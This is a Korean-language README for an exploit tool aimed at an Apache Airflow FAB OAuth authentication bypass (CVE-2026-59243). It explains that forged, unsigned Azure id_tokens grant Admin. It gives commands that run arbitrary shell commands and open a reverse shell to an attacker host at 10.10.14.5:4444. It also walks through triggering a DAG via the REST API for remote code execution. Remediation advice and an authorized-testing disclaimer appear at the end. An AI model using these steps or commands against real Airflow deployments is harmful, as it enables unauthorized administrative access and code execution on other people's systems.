
REST API를 통해 제작된 DAG를 트리거하여 관리자 액세스 및 원격 코드 실행을 달성하는 Apache Airflow FAB OAuth 인증 우회(CVE-2026-59243) Exploit입니다.
Apache Airflow의 FAB 인증 관리자 제공업체(apache-airflow-providers-fab)에서 인증 우회가 발생하며, 트리거된 DAG를 통해 원격 코드 실행으로 이어집니다.
이 제공업체는 **기본적으로 서명 검증이 비활성화된 Azure OAuth id_token**을 디코딩합니다 (airflow/providers/fab/auth_manager/security_manager/override.py, _decode_and_validate_azure_jwt):
verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
if verify_signature:
... # JWKS validation (only if explicitly enabled)
_parts = id_token.split(".")
_payload = _parts[1] + "=" * (-len(_parts[1]) % 4)
return json.loads(base64.urlsafe_b64decode(_payload)) # raw payload, NO signature check
클레임은 ID에 직접 매핑됩니다 — oid → 사용자 이름, roles → role_keys — 그리고 AUTH_ROLES_MAPPING은 roles=["Azure-Admins"] 클레임을 Admin 역할로 변환합니다. 토큰의 서명/발급자/대상(audience)은 절대 검사되지 않으므로(CWE-347), OAuth 흐름을 완료한 공격자는 실제 자격 증명 없이 Admin으로 인증됩니다. Admin은 임의 명령을 실행하는 DAG를 트리거할 수 있습니다.
apache-airflow-providers-fab < 3.7.3 (apache-airflow >= 3.0.2 사용 시)3.7.3 (기본값이 verify_signature=True로 변경됨; Microsoft의 JWKS에 대해 토큰 검증)8080 (Airflow UI + REST API)Python 3 표준 라이브러리만 필요합니다. 대상은 취약한 Azure OAuth 제공업체가 구성된 FAB 인증 관리자를 보유해야 하며, (RCE 단계를 위해) 태스크가 공격자가 제어하는 dag_run.conf를 실행하는 DAG가 있어야 합니다.
python3 exploit.py http://target:8080/ -c 'id > /tmp/pwned'
python3 exploit.py http://target:8080/ --shell 10.10.14.5:4444 # nc -lvnp 4444 first
GET /auth/login/azure → IdP → /auth/oauth-authorized/azure)을 진행합니다. FAB는 서명되지 않았거나 위조된 id_token을 수락하고 Admin으로 로그인하여 session 쿠키와 _token 쿠키(REST API가 기대하는 JWT)를 설정합니다.{"conf":{"cmd":"..."}}와 함께 POST /api/v2/dags/<dag>/dagRuns (Bearer _token)를 전송하여 BashOperator가 dag_run.conf['cmd']를 실행하는 DAG를 트리거합니다. 실행마다 **고유한 logical_date**를 사용하세요 ((dag_id, logical_date) 쌍은 메타데이터 DB에서 고유합니다).이 도구는 또한 OAuth authorize 리디렉션의 루프백 호스트를 대상으로 다시 작성하므로, 서버 구성에서 IdP가 127.0.0.1로 광고되는 원격 대상에 대해 작동합니다.
이것은 토큰 검증 결함을 악용합니다. Admin에 도달하려면 OAuth 흐름에서 상승된 roles 클레임이 있는 토큰이 생성되어야 합니다. Airflow는 서명을 절대 검증하지 않으므로 IdP/토큰에 영향을 줄 수 있는 경우 이는 사소한 일입니다. RCE 단계는 dag_run.conf를 실행하는 DAG(일반적인 패턴)를 가정합니다. 그렇지 않은 경우 Admin 접근 권한은 다른 Airflow 기능을 통해 활용될 수 있습니다.
apache-airflow-providers-fab를 ≥ 3.7.3으로 업그레이드하세요; 외부에서 주장된 OAuth 역할 클레임을 Admin에 직접 매핑하지 마세요; Airflow를 root로 실행하지 마세요; UI/API를 신뢰할 수 없는 네트워크에 노출하지 마세요.
승인된 보안 테스트 및 교육 전용입니다. 소유하거나 테스트할 명시적 권한이 있는 시스템에 대해서만 사용하세요.